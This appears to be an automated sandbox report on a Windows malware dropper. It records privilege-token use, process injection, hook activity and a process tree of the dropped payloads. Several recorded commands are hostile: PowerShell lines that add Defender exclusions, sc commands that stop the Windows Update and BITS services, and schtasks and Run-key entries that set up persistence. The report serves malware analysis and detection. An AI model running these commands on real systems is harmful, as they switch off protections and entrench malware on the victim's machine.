4363463463464363463463463.exepowershell.exeTerminal_9235.exepowershell.execlient.exeneonn.exe%E5%9B%9B%E6%96%B9%E5%B9%B3%E5%8F%B0-%E5%8D%A1%E5%95%86%E7%AB%AF.exetasklist.exetasklist.exeInstallUtil.exe286830899.exeneon.exeneon.exe123264690.exespectrum.exeJava Updater.exepowershell.exeInstallUtil.execonhost.exepowershell.exedwm.exewindows.exeJava32.exejava.execrypted.exedropper64.exe

description	pid	process
Token: SeDebugPrivilege	2432	4363463463464363463463463.exe
Token: SeDebugPrivilege	3064	powershell.exe
Token: SeDebugPrivilege	2516	Terminal_9235.exe
Token: SeDebugPrivilege	2572	powershell.exe
Token: SeDebugPrivilege	2284	client.exe
Token: SeDebugPrivilege	1364	neonn.exe
Token: SeDebugPrivilege	2500	%E5%9B%9B%E6%96%B9%E5%B9%B3%E5%8F%B0-%E5%8D%A1%E5%95%86%E7%AB%AF.exe
Token: SeDebugPrivilege	5816	tasklist.exe
Token: SeDebugPrivilege	5904	tasklist.exe
Token: SeDebugPrivilege	6044	InstallUtil.exe
Token: SeDebugPrivilege	4452	286830899.exe
Token: SeDebugPrivilege	4788	neon.exe
Token: SeDebugPrivilege	4860	neon.exe
Token: SeDebugPrivilege	2076	123264690.exe
Token: SeDebugPrivilege	1216	spectrum.exe
Token: SeDebugPrivilege	3344	Java Updater.exe
Token: SeDebugPrivilege	4176	powershell.exe
Token: SeDebugPrivilege	5036	InstallUtil.exe
Token: SeBackupPrivilege	5036	InstallUtil.exe
Token: SeSecurityPrivilege	5036	InstallUtil.exe
Token: SeSecurityPrivilege	5036	InstallUtil.exe
Token: SeSecurityPrivilege	5036	InstallUtil.exe
Token: SeSecurityPrivilege	5036	InstallUtil.exe
Token: SeDebugPrivilege	3724	conhost.exe
Token: SeDebugPrivilege	3928	powershell.exe
Token: 33	3724	conhost.exe
Token: SeIncBasePriorityPrivilege	3724	conhost.exe
Token: SeLockMemoryPrivilege	872	dwm.exe
Token: SeLockMemoryPrivilege	872	dwm.exe
Token: 33	3724	conhost.exe
Token: SeIncBasePriorityPrivilege	3724	conhost.exe
Token: SeDebugPrivilege	1584	windows.exe
Token: 33	3724	conhost.exe
Token: SeIncBasePriorityPrivilege	3724	conhost.exe
Token: SeBackupPrivilege	5036	InstallUtil.exe
Token: SeSecurityPrivilege	5036	InstallUtil.exe
Token: SeSecurityPrivilege	5036	InstallUtil.exe
Token: SeSecurityPrivilege	5036	InstallUtil.exe
Token: SeSecurityPrivilege	5036	InstallUtil.exe
Token: SeDebugPrivilege	4400	Java32.exe
Token: SeDebugPrivilege	4184	java.exe
Token: SeDebugPrivilege	4420	crypted.exe
Token: SeIncreaseQuotaPrivilege	4708	dropper64.exe
Token: SeSecurityPrivilege	4708	dropper64.exe
Token: SeTakeOwnershipPrivilege	4708	dropper64.exe
Token: SeLoadDriverPrivilege	4708	dropper64.exe
Token: SeSystemProfilePrivilege	4708	dropper64.exe
Token: SeSystemtimePrivilege	4708	dropper64.exe
Token: SeProfSingleProcessPrivilege	4708	dropper64.exe
Token: SeIncBasePriorityPrivilege	4708	dropper64.exe
Token: SeCreatePagefilePrivilege	4708	dropper64.exe
Token: SeBackupPrivilege	4708	dropper64.exe
Token: SeRestorePrivilege	4708	dropper64.exe
Token: SeShutdownPrivilege	4708	dropper64.exe
Token: SeDebugPrivilege	4708	dropper64.exe
Token: SeSystemEnvironmentPrivilege	4708	dropper64.exe
Token: SeRemoteShutdownPrivilege	4708	dropper64.exe
Token: SeUndockPrivilege	4708	dropper64.exe
Token: SeManageVolumePrivilege	4708	dropper64.exe
Token: 33	4708	dropper64.exe
Token: 34	4708	dropper64.exe
Token: 35	4708	dropper64.exe
Token: 33	3724	conhost.exe
Token: SeIncBasePriorityPrivilege	3724	conhost.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

Faced.pifiexplore.exedwm.exejava.exeiexplore.exe

pid	process
5984	Faced.pif
5984	Faced.pif
5984	Faced.pif
4856	iexplore.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
4184	java.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
5796	iexplore.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

Faced.pifdwm.exejava.exe

pid	process
5984	Faced.pif
5984	Faced.pif
5984	Faced.pif
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
4184	java.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe
872	dwm.exe

Suspicious use of SetWindowsHookEx 23 IoCs

Processes:

Java Updater.exeiexplore.exeIEXPLORE.EXEup.exejava.exeiexplore.exeIEXPLORE.EXEiexplore.exeIEXPLORE.EXE

pid	process
3344	Java Updater.exe
4856	iexplore.exe
4856	iexplore.exe
5020	IEXPLORE.EXE
5020	IEXPLORE.EXE
3320	up.exe
4184	java.exe
5796	iexplore.exe
5796	iexplore.exe
5924	IEXPLORE.EXE
5924	IEXPLORE.EXE
5924	IEXPLORE.EXE
5924	IEXPLORE.EXE
5924	IEXPLORE.EXE
5924	IEXPLORE.EXE
5924	IEXPLORE.EXE
5924	IEXPLORE.EXE
5924	IEXPLORE.EXE
5924	IEXPLORE.EXE
3348	iexplore.exe
3348	iexplore.exe
5796	IEXPLORE.EXE
5796	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

4363463463464363463463463.exepimer_bbbcontents7.exe1.exesysklnorbcv.execmd.execmd.exe

description	pid	process	target process
PID 2432 wrote to memory of 2644	2432	4363463463464363463463463.exe	pimer_bbbcontents7.exe
PID 2432 wrote to memory of 2644	2432	4363463463464363463463463.exe	pimer_bbbcontents7.exe
PID 2432 wrote to memory of 2644	2432	4363463463464363463463463.exe	pimer_bbbcontents7.exe
PID 2432 wrote to memory of 2644	2432	4363463463464363463463463.exe	pimer_bbbcontents7.exe
PID 2432 wrote to memory of 2532	2432	4363463463464363463463463.exe	Session-https.exe
PID 2432 wrote to memory of 2532	2432	4363463463464363463463463.exe	Session-https.exe
PID 2432 wrote to memory of 2532	2432	4363463463464363463463463.exe	Session-https.exe
PID 2432 wrote to memory of 2532	2432	4363463463464363463463463.exe	Session-https.exe
PID 2644 wrote to memory of 2020	2644	pimer_bbbcontents7.exe	pimer_bbbcontents7.exe
PID 2644 wrote to memory of 2020	2644	pimer_bbbcontents7.exe	pimer_bbbcontents7.exe
PID 2644 wrote to memory of 2020	2644	pimer_bbbcontents7.exe	pimer_bbbcontents7.exe
PID 2644 wrote to memory of 2020	2644	pimer_bbbcontents7.exe	pimer_bbbcontents7.exe
PID 2644 wrote to memory of 2020	2644	pimer_bbbcontents7.exe	pimer_bbbcontents7.exe
PID 2644 wrote to memory of 2020	2644	pimer_bbbcontents7.exe	pimer_bbbcontents7.exe
PID 2644 wrote to memory of 2020	2644	pimer_bbbcontents7.exe	pimer_bbbcontents7.exe
PID 2644 wrote to memory of 2020	2644	pimer_bbbcontents7.exe	pimer_bbbcontents7.exe
PID 2644 wrote to memory of 2020	2644	pimer_bbbcontents7.exe	pimer_bbbcontents7.exe
PID 2644 wrote to memory of 2020	2644	pimer_bbbcontents7.exe	pimer_bbbcontents7.exe
PID 2432 wrote to memory of 1676	2432	4363463463464363463463463.exe	1.exe
PID 2432 wrote to memory of 1676	2432	4363463463464363463463463.exe	1.exe
PID 2432 wrote to memory of 1676	2432	4363463463464363463463463.exe	1.exe
PID 2432 wrote to memory of 1676	2432	4363463463464363463463463.exe	1.exe
PID 2432 wrote to memory of 1816	2432	4363463463464363463463463.exe	univ.exe
PID 2432 wrote to memory of 1816	2432	4363463463464363463463463.exe	univ.exe
PID 2432 wrote to memory of 1816	2432	4363463463464363463463463.exe	univ.exe
PID 2432 wrote to memory of 1816	2432	4363463463464363463463463.exe	univ.exe
PID 1676 wrote to memory of 1756	1676	1.exe	sysklnorbcv.exe
PID 1676 wrote to memory of 1756	1676	1.exe	sysklnorbcv.exe
PID 1676 wrote to memory of 1756	1676	1.exe	sysklnorbcv.exe
PID 1676 wrote to memory of 1756	1676	1.exe	sysklnorbcv.exe
PID 2432 wrote to memory of 2036	2432	4363463463464363463463463.exe	Armanivenntii_crypted_EASY.exe
PID 2432 wrote to memory of 2036	2432	4363463463464363463463463.exe	Armanivenntii_crypted_EASY.exe
PID 2432 wrote to memory of 2036	2432	4363463463464363463463463.exe	Armanivenntii_crypted_EASY.exe
PID 2432 wrote to memory of 2036	2432	4363463463464363463463463.exe	Armanivenntii_crypted_EASY.exe
PID 2432 wrote to memory of 2948	2432	4363463463464363463463463.exe	newtpp.exe
PID 2432 wrote to memory of 2948	2432	4363463463464363463463463.exe	newtpp.exe
PID 2432 wrote to memory of 2948	2432	4363463463464363463463463.exe	newtpp.exe
PID 2432 wrote to memory of 2948	2432	4363463463464363463463463.exe	newtpp.exe
PID 2432 wrote to memory of 2516	2432	4363463463464363463463463.exe	Terminal_9235.exe
PID 2432 wrote to memory of 2516	2432	4363463463464363463463463.exe	Terminal_9235.exe
PID 2432 wrote to memory of 2516	2432	4363463463464363463463463.exe	Terminal_9235.exe
PID 2432 wrote to memory of 2516	2432	4363463463464363463463463.exe	Terminal_9235.exe
PID 2432 wrote to memory of 1616	2432	4363463463464363463463463.exe	tpeinf.exe
PID 2432 wrote to memory of 1616	2432	4363463463464363463463463.exe	tpeinf.exe
PID 2432 wrote to memory of 1616	2432	4363463463464363463463463.exe	tpeinf.exe
PID 2432 wrote to memory of 1616	2432	4363463463464363463463463.exe	tpeinf.exe
PID 1756 wrote to memory of 2992	1756	sysklnorbcv.exe	cmd.exe
PID 1756 wrote to memory of 2992	1756	sysklnorbcv.exe	cmd.exe
PID 1756 wrote to memory of 2992	1756	sysklnorbcv.exe	cmd.exe
PID 1756 wrote to memory of 2992	1756	sysklnorbcv.exe	cmd.exe
PID 1756 wrote to memory of 1000	1756	sysklnorbcv.exe	cmd.exe
PID 1756 wrote to memory of 1000	1756	sysklnorbcv.exe	cmd.exe
PID 1756 wrote to memory of 1000	1756	sysklnorbcv.exe	cmd.exe
PID 1756 wrote to memory of 1000	1756	sysklnorbcv.exe	cmd.exe
PID 2992 wrote to memory of 3064	2992	cmd.exe	powershell.exe
PID 2992 wrote to memory of 3064	2992	cmd.exe	powershell.exe
PID 2992 wrote to memory of 3064	2992	cmd.exe	powershell.exe
PID 2992 wrote to memory of 3064	2992	cmd.exe	powershell.exe
PID 1000 wrote to memory of 1436	1000	cmd.exe	sc.exe
PID 1000 wrote to memory of 1436	1000	cmd.exe	sc.exe
PID 1000 wrote to memory of 1436	1000	cmd.exe	sc.exe
PID 1000 wrote to memory of 1436	1000	cmd.exe	sc.exe
PID 1000 wrote to memory of 1960	1000	cmd.exe	sc.exe
PID 1000 wrote to memory of 1960	1000	cmd.exe	sc.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

3772 attrib.exe

pid	process
3772	attrib.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Executes dropped EXE
PID:1208
- C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
  "C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Modifies system certificate store
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2432
- - C:\Users\Admin\AppData\Local\Temp\Files\pimer_bbbcontents7.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\pimer_bbbcontents7.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2644
  - - C:\Users\Admin\AppData\Local\Temp\Files\pimer_bbbcontents7.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\pimer_bbbcontents7.exe"
      4⤵
      Executes dropped EXE
      PID:2020
- - C:\Users\Admin\AppData\Local\Temp\Files\Session-https.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Session-https.exe"
    3⤵
    - Executes dropped EXE
    PID:2532
- - C:\Users\Admin\AppData\Local\Temp\Files\1.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\1.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1676
  - - C:\Windows\sysklnorbcv.exe
      C:\Windows\sysklnorbcv.exe
      4⤵
      Modifies security service
      Windows security bypass
      Executes dropped EXE
      Loads dropped DLL
      Windows security modification
      Suspicious use of WriteProcessMemory
      PID:1756
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2992
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3064
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1000
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1436
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1960
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1968
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1752
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:872
    - - C:\Users\Admin\AppData\Local\Temp\123264690.exe
        
        C:\Users\Admin\AppData\Local\Temp\123264690.exe
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2076
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        6⤵
        
        PID:2992
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        7⤵
        
        PID:2636
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        6⤵
        
        PID:2816
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        7⤵
        
        PID:944
    - - C:\Users\Admin\AppData\Local\Temp\781431589.exe
        
        C:\Users\Admin\AppData\Local\Temp\781431589.exe
        5⤵
        Executes dropped EXE
        
        PID:1452
    - - C:\Users\Admin\AppData\Local\Temp\1628723224.exe
        
        C:\Users\Admin\AppData\Local\Temp\1628723224.exe
        5⤵
        Executes dropped EXE
        
        PID:3644
    - - C:\Users\Admin\AppData\Local\Temp\1146015314.exe
        
        C:\Users\Admin\AppData\Local\Temp\1146015314.exe
        5⤵
        Executes dropped EXE
        
        PID:2160
- - C:\Users\Admin\AppData\Local\Temp\Files\univ.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\univ.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1816
- - C:\Users\Admin\AppData\Local\Temp\Files\Armanivenntii_crypted_EASY.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Armanivenntii_crypted_EASY.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2036
- - C:\Users\Admin\AppData\Local\Temp\Files\newtpp.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\newtpp.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:2948
  - - C:\Windows\sysnldcvmr.exe
      C:\Windows\sysnldcvmr.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: SetClipboardViewer
      PID:2796
    - - C:\Users\Admin\AppData\Local\Temp\1418522541.exe
        
        C:\Users\Admin\AppData\Local\Temp\1418522541.exe
        5⤵
        Executes dropped EXE
        
        PID:2376
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        6⤵
        
        PID:6008
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        7⤵
        
        PID:5680
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        6⤵
        
        PID:6060
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        7⤵
        
        PID:5412
    - - C:\Users\Admin\AppData\Local\Temp\2993410356.exe
        
        C:\Users\Admin\AppData\Local\Temp\2993410356.exe
        5⤵
        Executes dropped EXE
        
        PID:3516
    - - C:\Users\Admin\AppData\Local\Temp\775131445.exe
        
        C:\Users\Admin\AppData\Local\Temp\775131445.exe
        5⤵
        Executes dropped EXE
        
        PID:4188
    - - C:\Users\Admin\AppData\Local\Temp\2350019260.exe
        
        C:\Users\Admin\AppData\Local\Temp\2350019260.exe
        5⤵
        Executes dropped EXE
        
        PID:3608
- - C:\Users\Admin\AppData\Local\Temp\Files\Terminal_9235.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Terminal_9235.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2516
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "client" /tr '"C:\Users\Admin\AppData\Roaming\client.exe"' & exit
      4⤵
      PID:2648
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "client" /tr '"C:\Users\Admin\AppData\Roaming\client.exe"'
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2136
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmpAD8E.tmp.bat""
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:2164
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:2464
    - - C:\Users\Admin\AppData\Roaming\client.exe
        
        "C:\Users\Admin\AppData\Roaming\client.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2284
- - C:\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:1616
  - - C:\Windows\sysppvrdnvs.exe
      C:\Windows\sysppvrdnvs.exe
      4⤵
      Modifies security service
      Windows security bypass
      Executes dropped EXE
      Loads dropped DLL
      Windows security modification
      System Location Discovery: System Language Discovery
      Suspicious behavior: SetClipboardViewer
      PID:2104
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2528
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2572
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2548
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2216
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2008
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:3008
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2020
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS /wait
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1104
    - - C:\Users\Admin\AppData\Local\Temp\286830899.exe
        
        C:\Users\Admin\AppData\Local\Temp\286830899.exe
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4452
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        6⤵
        
        PID:4536
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        7⤵
        
        PID:4668
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        6⤵
        
        PID:4612
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        7⤵
        
        PID:4688
    - - C:\Users\Admin\AppData\Local\Temp\617623040.exe
        
        C:\Users\Admin\AppData\Local\Temp\617623040.exe
        5⤵
        Executes dropped EXE
        
        PID:4040
    - - C:\Users\Admin\AppData\Local\Temp\1423223895.exe
        
        C:\Users\Admin\AppData\Local\Temp\1423223895.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:2692
      - C:\Users\Admin\AppData\Local\Temp\1658518264.exe
        
        C:\Users\Admin\AppData\Local\Temp\1658518264.exe
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:3820
    - - C:\Users\Admin\AppData\Local\Temp\104116141.exe
        
        C:\Users\Admin\AppData\Local\Temp\104116141.exe
        5⤵
        Executes dropped EXE
        
        PID:3620
- - C:\Users\Admin\AppData\Local\Temp\Files\tn8cdkzn.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\tn8cdkzn.exe"
    3⤵
    - Executes dropped EXE
    PID:1712
- - C:\Users\Admin\AppData\Local\Temp\Files\Prototype.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Prototype.exe"
    3⤵
    - Executes dropped EXE
    PID:376
- - C:\Users\Admin\AppData\Local\Temp\Files\neonn.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\neonn.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1364
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd" /c ping 127.0.0.1 -n 10 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "neon" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\neon.exe"
      4⤵
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Internet Connection Discovery
      PID:5584
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 10
        5⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5604
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "neon" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\neon.exe"
        5⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:2056
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:5688
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      4⤵
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6044
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5036
  - - C:\Users\Admin\AppData\Local\Temp\neon.exe
      "C:\Users\Admin\AppData\Local\Temp\neon.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4788
    - - C:\Users\Admin\AppData\Local\Temp\neon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\neon.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4860
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2704
- - C:\Users\Admin\AppData\Local\Temp\Files\%E5%9B%9B%E6%96%B9%E5%B9%B3%E5%8F%B0-%E5%8D%A1%E5%95%86%E7%AB%AF.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\%E5%9B%9B%E6%96%B9%E5%B9%B3%E5%8F%B0-%E5%8D%A1%E5%95%86%E7%AB%AF.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
